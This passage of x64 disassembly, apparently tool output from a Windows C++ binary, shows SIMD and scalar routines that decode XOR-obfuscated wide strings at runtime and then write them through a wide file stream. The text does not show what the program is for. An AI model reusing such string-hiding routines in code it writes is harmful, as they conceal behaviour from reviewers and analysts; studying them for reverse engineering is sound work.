punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002fac0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002fa40]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp + 0x10], xmm3
movdqa xmm5, xmmword [0x14002fa30]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002fac0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002fa40]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp + 0x18]
xorps xmm3, xmm1
movq qword [rbp + 0x18], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp + 0x10]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x20]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x14000ccc0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x2c0]
call fcn.140020b40
lea rdx, [rbp + 0x1c8]
mov r8, qword [rbp + 0x1d8]
mov rcx, rax
cmp qword [rbp + 0x1e0], 7
jbe 0x14000cd48
mov rdx, qword [rbp + 0x1c8]
call fcn.140022370
mov r11, rax
movzx eax, word [0x14002f8b8]
movsd xmm0, qword [0x14002f8b0]
movups xmm11, xmmword [str.bndvdj_n___1X]
mov word [rbp - 0x10], ax
movsd qword [rbp - 0x18], xmm0
movups xmmword [rbp - 0x28], xmm11
mov r9d, r12d
cmp ebx, 2
jl 0x14000cf1c
movdqa xmm6, xmmword [0x14002fab0]
movdqa xmm7, xmmword [0x14002fa90]
movdqa xmm10, xmmword [0x14002fa60]
movdqa xmm5, xmmword [0x14002fa20]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002fac0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002fa40]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x28], xmm3
movdqa xmm5, xmmword [0x14002fa30]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002fac0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002fa40]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x20]
xorps xmm3, xmm1
movq qword [rbp - 0x20], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp - 0x28]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx r8d, dx
imul r8d, edi
sub r8w, cx
lea eax, [r9 + 0x20]
add ax, ax
add r8w, ax
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x14000cf30
lea rdx, [rbp - 0x28]
mov rcx, r11
call fcn.140020b40
lea rcx, [rbp + 0x2c8]
call fcn.14001fc50
test rax, rax
jne 0x14000cfc9
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2c0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 7
jbe 0x14000d012
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d00d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d00d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002b0a0
mov qword [rbp + 0x1d8], r12
mov qword [rbp + 0x1e0], 7
mov word [rbp + 0x1c8], r12w
xorps xmm0, xmm0
mov r15, qword [rbp + 8]
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], r12
movups xmm0, xmmword [rbp + 0x1e8]
movups xmmword [r15], xmm0
movups xmm1, xmmword [rbp + 0x1f8]
movups xmmword [r15 + 0x10], xmm1
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x200], 7
mov word [rbp + 0x1e8], r12w
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2bc], edx
lea rcx, [rbp + 0x2c8]
call fcn.14001d8a0
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x368]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 7
jbe 0x14000d112
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d10d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d10d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002b0a0
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x200], 7
mov word [rbp + 0x1e8], r12w
mov rdx, qword [rbp + 0x230]
cmp rdx, 7
jbe 0x14000d175
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d170
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d170
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002b0a0
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], 7
mov word [rbp + 0x218], r12w
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x3d0], rax
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x3cc], edx
lea rcx, [rbp + 0x3d8]
call fcn.14001df90
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x458]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x278]
xor rdx, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x288]
mov qword [rcx], rdx
mov rax, r15
jmp 0x14000d275
mov word [rsp + 0x34], r12w
lea rdx, [rsp + 0x34]
mov rcx, qword [rbp + 8]
call fcn.14001eec0
nop
lea rcx, [rbp + 0x2c0]
call fcn.14000d350
nop
lea rcx, [rbp + 0x1e8]
call fcn.140002710
nop
lea rcx, [rbp + 0x218]
call fcn.140002710
nop
lea rcx, [rbp + 0x3d0]
call fcn.14000d2e0
nop
mov rcx, qword [rbp + 0x278]
xor rcx, qword [rbp + 0x280]
mov rax, qword [rbp + 0x288]
mov qword [rax], rcx
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x4180]
xor rcx, rsp
call fcn.14002b080
lea r11, [rsp + 0x4330]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret